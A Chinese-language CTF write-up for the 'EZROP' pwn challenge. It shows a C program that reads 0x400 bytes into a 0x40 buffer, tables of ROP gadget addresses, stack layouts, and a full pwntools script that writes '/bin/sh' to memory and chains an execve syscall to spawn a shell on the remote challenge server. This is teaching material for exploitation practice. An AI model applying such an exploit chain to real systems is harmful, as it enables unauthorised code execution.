ROP-EZROP(b33f adv_pwn)

2024-05-17

ROP-EZROP(b33f adv_pwn)

Author:堇姬

確認保護

開NX沒辦法寫shellcode,另外他開了canary,但其實沒開(沒有check canary的判斷式)

如果有開會有這個

source code

read的buffer overflow一樣給好給滿

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

int main(){
char buf[0x40];
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
printf("Give me your overflow: ");
read(0,buf,0x400); // oops!
return 0;
}

基本上應該是要直接堆ROP

所以我們看看堆出execve需要甚麼吧

  • execve(‘/bin/sh’)
暫存器
rax 0x3b
rdi 要執行的參數值(/bin/sh)
rsi argv(這裡=0)
rdx envp(這裡=0)

先找看看有沒有pop register;ret之類的可以控這些register

ROPgadget找位置

暫存器 位置
pop rax ;ret 0x44fd07
pop rdi ;ret 0x401e9f
pop rsi ;ret 0x409f0e
pop rdx ; pop rbx ; ret 0x485a8b
syscall 0x401c54

目前發現所有register都是可控的
但是我們必須找到一段可以寫入/bin/sh的地方,所以我們可以嘗試用這種gadget

1
mov QWORD PTR [register1], register2;ret

他會把register2的值寫入到register1所存值得記憶體位置

暫存器 位置
mov qword ptr [rsi], rdx ; ret 0x487e8a

目前看到data段0x4c5000~0x4c8000可寫,所以嘗試去找看起來沒用到的memory

0x4c50e0看起來沒東西,嘗試寫到那。

stack狀況

1
2
3
4
5
6
7
AAAAAA(0x48個蓋buf跟old rbp)
pop rdx ; pop rbx
/bin/sh\x00
0
pop rsi
0x4c50e0
mov qword ptr [rsi], rdx ; ret

目前狀況run起來用gdb下b在main最後的ret看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context.arch='amd64'

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

tst=input()

if tst==1:
r=remote('chall.nckuctf.org', 10007)
else:
r=process("./rop")

write_binsh={
"pop_rdx_addr":0x485a8b,
"pop_rdx_value":b'/bin/sh\x00',
"pop_rbx_value":0,
"pop_rsi_addr":0x409f0e,
"pop_rsi_value":0x4c50e0,
"mov":0x487e8a
}

writebinsh_payload=flat(write_binsh["pop_rdx_addr"],
write_binsh["pop_rdx_value"],
write_binsh["pop_rbx_value"],
write_binsh["pop_rsi_addr"],
write_binsh['pop_rsi_value'],
write_binsh["mov"]
)

gdb.attach(r,"b *0x00000000004017f2")
r.sendlineafter(b'Give me your overflow: ',b'a'*0x48+writebinsh_payload)

r.interactive()

已經成功把/bin/sh寫到0x4c50e0

接下來開始堆參數

暫存器 位置 要蓋的值
pop rax ;ret 0x44fd07 0x3b
pop rdi ;ret 0x401e9f 0x4c50e0
pop rsi ;ret 0x409f0e 0
pop rdx ; pop rbx ; ret 0x485a8b 0 0
syscall 0x401c54

stack狀況

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
AAAAAA(0x48個蓋buf跟old rbp)
pop rdx ; pop rbx
/bin/sh\x00
0
pop rsi
0x4c50e0
mov qword ptr [rsi], rdx ; ret
pop rax
0x3b
pop rdi
0x4c50e0
pop rsi
0
pop rdx ; pop rbx
0
0
syscall

這樣就成功堆出execve了

Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

context.arch='amd64'

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

tst=input()

if tst=='1':
r=remote('chall.nckuctf.org', 10007)
else:
r=process("./rop")



write_binsh={
"pop_rdx_addr":0x485a8b,
"pop_rdx_value":b'/bin/sh\x00',
"pop_rbx_value":0,
"pop_rsi_addr":0x409f0e,
"pop_rsi_value":0x4c50e0,
"mov":0x487e8a
}

writebinsh_payload=flat(write_binsh["pop_rdx_addr"],
write_binsh["pop_rdx_value"],
write_binsh["pop_rbx_value"],
write_binsh["pop_rsi_addr"],
write_binsh['pop_rsi_value'],
write_binsh["mov"]
)

ROPvar={
'pop_rax_ret':0x44fd07,
'pop_rdi_ret':0x401e9f,
'pop_rsi_ret':0x409f0e,
'pop_rdx_rbx_ret':0x485a8b,
'syscall':0x401c54
}

STACKvar={
'rax_var':0x3b,
'rdi_var':0x4c50e0,
'rsi_var':0,
'rdx_var':0,
'rbx_var':0
}

ROP_payload=flat(ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['pop_rdx_rbx_ret'],
STACKvar['rdx_var'],
STACKvar['rbx_var'],
ROPvar['syscall'])
if tst!='1':
gdb.attach(r,"b *0x00000000004017f2")
r.sendlineafter(b'Give me your overflow: ',b'a'*0x48+writebinsh_payload+ROP_payload)

r.interactive()